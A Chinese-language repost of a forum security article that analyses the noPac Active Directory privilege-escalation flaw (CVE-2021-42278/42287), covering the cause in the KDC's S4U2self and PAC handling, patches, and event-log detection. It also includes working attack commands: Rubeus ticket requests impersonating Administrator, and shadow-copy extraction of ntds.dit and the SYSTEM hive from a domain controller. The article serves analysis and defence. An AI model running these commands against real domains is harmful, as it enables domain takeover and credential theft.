免责声明:由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
文章作者:奇安信攻防社区(中铁13层打工人)
文章来源:https://forum.butian.net/share/2408
0x00 漏洞背景
21年披露了AD域的一个组合漏洞(CVE-2021-42278、CVE-2021-44287),利用AD域对机器账户的认证缺陷和kerberos协议缺陷,只需一个域用户即可拿到域内最高权限,影响巨大。
0x01 漏洞
【CVE-2021-42278】默认情况下加入域内的主机都会创建一个机器账户,该账户名称为机器名加上$
结尾,加入域的机器默认在CN=Computers
这个容器里,账户名为sAMAccountName
属性:
1、域中是默认允许域用户创建机器账户的,该属性为MS-DS-Machine-Account-Quota
(允许用户在域中创建的机器帐户的数量,普通域用户最多可以创建10个该账户);
2、域控没有针对机器账户名的验证机制,没有校验sAMAccountName
结尾的$
,即使删除结尾的$
照样可以以机器用户身份申请TGT票据。
0x02 漏洞
【CVE-2021-42287】配合上述漏洞使用,简述一下漏洞原理,创建一个普通机器账户,将其sAMAccountName
改为和域控机器账户名相同但不以$
结尾,用该账户进行TGT请求后将sAMAccountName
改回原名,然后使用之前得到的TGT去申请该主机的ST,在申请服务过程中,由于二次改名后,此时域内已经没有该账户,导致DC找不到它,协议的处理逻辑会自动在主机名后加上$
继续搜索,结果就会搜索到域控机器账户,然后在PAC中添加信息(这些信息就是域控机器账户的用户名和所在的组)并以域控机器身份签名下发ST,达到了提权操作。
0x03 漏洞利用
利用第一个漏洞需要注意,机器账户改名之前必须清除SPN值(servicePrincipalName,服务主体名称),该标志是作为网络控制器服务实例的唯一标识符;域内添加一个机器账户会自动添加四个默认的SPN值(使用脚本:Powermad.ps1)
sAMAccountName
值结果如下图,后面的Kerberos身份验证使用它来将服务实例与服务登录帐户相关联,会导致请求异常,所以在修改samAccountName
前要删除其SPN属性AS-REQ
这里我们以创建的机器账户利用 Rubeus工具 发出请求:.Rubeus.exe asktgt /user:"sAMAccountName" /password:"Password" /domain:"domain.local" /dc:"sAMAccountName.domain.local" /nowrap
DC
:AS-REP
1、在域控导出ntds.dit和system.hive
vssadmin create shadow /for=C:
copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsNTDSNTDS.dit C:ntds.dit
copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsSystem32configSYSTEM C:system.hive
vssadmin delete shadows /all
2、使用esedbexport工具导出表文件,这里没有该工具需要编译一下(建议在linux环境编译),下载并解压:https://github.com/libyal/libesedb
sudo apt-get install autoconf automake autopoint libtool pkg-config
./configure
make
make install
sudo ldconfig
3、将导出的ntds.dit以及system.hive复制到Linux中与esedbexport同目录下即:/usr/local/bin,并执行命令,可以将ntds.dit导出成多个文件,文件会存放在当前目录的ntds.dit.export目录内
esedbexport ntds.dit
4、使用NTDSXtract导出需要的keytab,这里使用python2
git clone https://github.com/csababarta/ntdsxtract.git
cd ntdsxtract/ && python -m pip install pycryptodome
esedbexport ntds.dit
python2 dskeytab.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.6 system.hive /usr/local/bin/ntdsxtract/ 1.keytab
# datatable.*以及link_table.*都是esedbexport处理ntds.dit之后存在ntds.dit.export中的文件
# system.hive 是之前导出的文件
# /usr/local/bin/ntdsxtract/是当前ntdsxtract目录
# 1.keytab是最后我们需要的keytab文件
5、获取1.keytab后,把该文件导入到Wireshark中,编辑->首选项->Protocols->KRB5,勾选"Try to decrypt Kerberos blobs",然后开始抓包即可,wireshark会自动对当前的数据包进行解密尝试,如果解密成功,就会是显示蓝色,不成功就是黄色。
接下来准备请求 ”这台域内已经不存在的机器“ 上的服务票据。
TGS-REQ
以Administrator
的身份请求 “这台域内已经不存在的机器” 上的cifs服务票据:Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"cifs/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]
注意这里使用的是S4U2self协议,为什么要用这个协议来请求我们后面阐述,先看这样请求发生了什么?貌似已经成功申请了一张高权限票据:
klist
命令查看主机上的票据:0x04 漏洞成因
这里我们来分析一下为什么要使用S4U2self协议?
S4U2self(Server-for-User-to-Self)是 Kerberos 协议中的一种扩展,用于允许Service代替用户向KDC发起服务票据的请求,而无需用户的明文凭证,目的是为了简化服务器的授权,以便调用者自身受益。
1、用户向服务1发出请求,服务1已通过KDC进行身份验证并获得其TGT,但服务1没有用户的授权数据;
2、服务1通过S4U2self扩展代表指定用户请求服务票证,用户由S4U2self数据中的用户名和用户域名来标识;
3、KDC返回一个服务票据到服务1,就像用户使用自己的TGT请求的一样,服务票证包含用户的授权数据;
4、服务1可以使用服务票据中的授权数据来满足用户的请求,然后该服务响应用户。
这里从协议代码处理逻辑层面再分析下具体过程,参照 从XP源码泄露看nopac漏洞 这篇分析文章,可总结漏洞成因如下:
KDC Server是如何处理S4U和非S4U请求中的PAC,从KdcInsertAuthorizationData
函数中可以找到:
1.如果不是S4U的请求,则直接从TGT的AuthData中提取PAC(沿用最初的PAC,最初的PAC在AS-REP阶段凭请求用户身份生成);
2.如果是S4U请求,首先调用KdcGetS4UTicketInfo
请求,这个请求的处理逻辑中又调用了KdcGetTicketInfo
,然后再调用kdcGetPacAuthData
函数来构造PAC data。
这里的两个函数应该就是漏洞点所在:
-
KdcGetTicketInfo
函数,用于从Ticket中获取TicketInfo,该函数会对请求的服务账户名进行顺序判断:首先判断是否是krbtgt账户,如果是,则直接调用函数获取TicketInfo --> 如果不是,会查找传入的用户名判断是否是本域的用户 --> 如果在域内找不到用户名则会给传入的用户名加上
$
继续查找 --> 仍未找到则查找其altSecurityIdentities
(Alternate Security Identities,备用安全标识)属性的value。这就是导致漏洞产生的一个重要原因,由于我们的改名操作,此时域内已经没有一个Service的sAMAccountName
为DC
,根据处理逻辑会继续加$
进行重试,必然会匹配上域控的机器账户DC$
,所以此时就是域控机器向KDC发起申请ST请求。通过这个函数还是还无法解释为什么获取
DC
的TGT之后,通过S4USelf请求DC$
的TGS可以成功?按理说我们是拿着DC
这个机器账户的TGT去请求ST最终获取的ST也应该是这个账户权限的,最终是如何提权到域管的? -
kdcGetPacAuthData
函数,这个函数在处理PAC存在缺陷,网上其它文章说的“若原票据不存在PAC,则会构造一个新的PAC;若无法构造,则直接复制PAC”,其实并不是TGS_REQ
中没有携带PAC然后才去生成PAC,而是正常的S4U请求就会重新生成对应模拟用户的PAC到Ticket中,这里我们是用Administrator
用户去请求,所以自然会生成高权限票据。
//这里对比一下S4U的if逻辑与这个else if逻辑,所调用的生成PAC函数
KerbErr = KdcGetPacAuthData(
S4UUserInfo,
&S4UGroupMembership,
TargetServerKey,
NULL, // no credential key
AddResourceGroups,
FinalTicket,
S4UClientName,
&NewPacAuthData,
pExtendedError
);
KerbErr = KdcGetPacAuthData(
UserInfo,
&GroupMembership,
TargetServerKey,
NULL, // no credential key
AddResourceGroups,
FinalTicket,
NULL, // no S4U client
&NewPacAuthData,
pExtendedError
);
利用S4U2Self
协议请求的数据包有什么不同?
在S4U2Self
协议扩展中,Service会使用自己的TGT并添加一个新的padata,就是PA-FOR-USER
结构:
PA-FOR-USER ::= SEQUENCE {
-- PA TYPE 129
userName [0] PrincipalName,
userRealm [1] Realm,
cksum [2] Checksum,
auth-package [3] KerberosString
}
userName 为administrator,所以我们猜测KdcGetPacAuthData(),取的就是PA-FOR-USER结构中的name;
userRealm 为域名USER.COM
Checksum 之前文章提到的PAC尾部签名
auth-package用于验证用户身份的验证机制的字符串名称,必须将其设置为字符串“Kerberos”。
0x05 防御措施
-
安装微软的补丁 KB5008602
和KB5008380
; -
限制域内可创建机器账户的用户权限,修改 MachineAccountQuota
的属性值为0; -
Tips:在域内创建一个机器账号,将其 samAccountName
改为DC的主机名,因为域内sAMAccountName
是唯一的,不能重复,所以攻击者就无法创建与域控同名的主机名。
0x06 日志检测
1、Name impersonation 可通过分析以下安全日志
【4741事件】 创建机器账号
【4742事件】 删除SPN
【4781事件】 修改sAMAccountName
【4768事件:请求TGT】 TargetUserName(发起Kerberos身份验证请求的用户名)为域控主机名而不是主机名+$
【4769事件:请求ST】 TargetUserName不包含$(区分正常的机器账户请求),并且ServiceName(请求服务的名称)为域控主机名并不是主机名+$
0x07 参考文章
https://mp.weixin.qq.com/s/Ar8u_gXh2i3GEcqdhOD8wA
https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a
原文始发于微信公众号(七芒星实验室):域内提权票据篇之剖析CVE-2021-42278&42287漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论